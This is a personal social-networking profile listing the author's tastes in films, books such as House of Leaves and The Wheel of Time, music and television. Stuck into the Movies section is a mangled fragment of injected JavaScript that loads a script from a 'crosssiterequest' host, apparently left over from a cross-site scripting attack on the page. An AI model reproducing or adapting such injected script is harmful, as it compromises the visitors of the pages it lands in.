I am interested in everything that poses interest from Religous discussion (not debate and only if the other person is willing to listen as well) as well as politics (again only if the other person is willing to lisen to an objective oppinion which isn't often the case) My primary interest lies in my computer named Saffron. Shes my relief and my curse as she occupies alot of my free time.
I'd like to meet:
I don't know really the meaning of the question. As in the kind of person im looking for in a partner or as in famous people (living and dead) wise.I think the second is more interesting: I'd like to meet Bruce Campbell, Castro, Stalin, Mark Z Danielewski, Hunter S Thompson, Frank Miller, James Earl Jones, Patrick Stewart, Bill Gates, Stan Lee,Christopher Walken, Alec Guiness, Sun Tsu, Steven Hawlking.
Music:
Favourite bands Skinny Puppy and Iron Maiden. Though I like all music with the exception of R&B/Rap/Hip-Hop and western popmusic
Movies:
I get asked alot what my favourite movies are and I always find this a difficult question as there are so many good movies out there that can't really be considered on the same scale as each other. Sin City is by far my most recient favourite. A dark tale of love and revenge. Highly worth seeing with more famous actors than you can shake a stick at.I also like The Fountain, Stargate, Lord of the Rings, Predator, American Physco, Starwars, Mystery Science Theater 3000, The Alien Trillogy and many others which I don't care to list as theres far too many.I also find as I use to be a film student I have become more critical of films but as a whole I find that even no brainers can be fun as long as you accept them for what they are..... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("nathanjosiah1.mov.r{}");}..
Television:
Television has for me been one of the biggest let-downs of the 21st Centuary.
I don't know about over seas but certainly over here we have been bombarded by Reality TV shows like Survivor and when thats not on 1001 extreme makeover shows that New Zealand like to produce. WOW YOUR AN GOOD MAN IN THE COMMUNITY! LETS TAKE YOU AWAY FOR A DAY AND FIX UP YOUR GARDEN! w00t.Occasionally you'll get a decient show but unfortunatly they're few and far between these days. Most of the good shows they play are reruns of shows from back in the 20th. The only show I now watch is Boston Legal. All else is forsaken to me.
Books:
I love reading and have an ever growing library of them!
THOUGH OF ALL THAT I HAVE READ THERE IS ONE THAT SHINES ABOVE ALL ELSE... NOT SO MUCH SHINES AS A SHIMMER.. ONLY DARK LIKE A ROOM...
House of Leaves - Mark Z Danielewski: I highly recomend this book as the best book I have ever read and after having read alot reciently this one I still rate it as no. 1 A haunted house story narrated by a strange man who is trying to peice it togeather. Both the inside story and his wrap around story have you gasping for more.. and the best part about it is that he presents you with all the facts and not a resoloution eg, "it was old man withers who runs the ammusment park" you have to come to your own conclusions which give it the ability for you to be thinking about this book months after you read it! A book that must be read more than once to even grasp the many many layers and every time you discuss it it your perception shifts with it making the book seem alot different than it did last you thought about it.The second series I've been reading has beenThe Wheel of Time - Robert Jordan: A very heavy and very long fantasy series that spans 11 books at current. He writes in such a way that you don't loose interest but you can feel the length of their journey and theres no short cuts. I've got the whole series on 11 books in hard cover as well as the prequil A New spring also in hard cover. And it rates as my favourite fantasy series of all time.
Heroes:
It doesn't seem to me like there are any real heros anymore... I mean people are just all riding the wave of life. None of us have that much control over it. "The Wheel Weaves As The Wheel Wills" and I can't really think of anyone who has really earned in recient history the ideal of a hero...
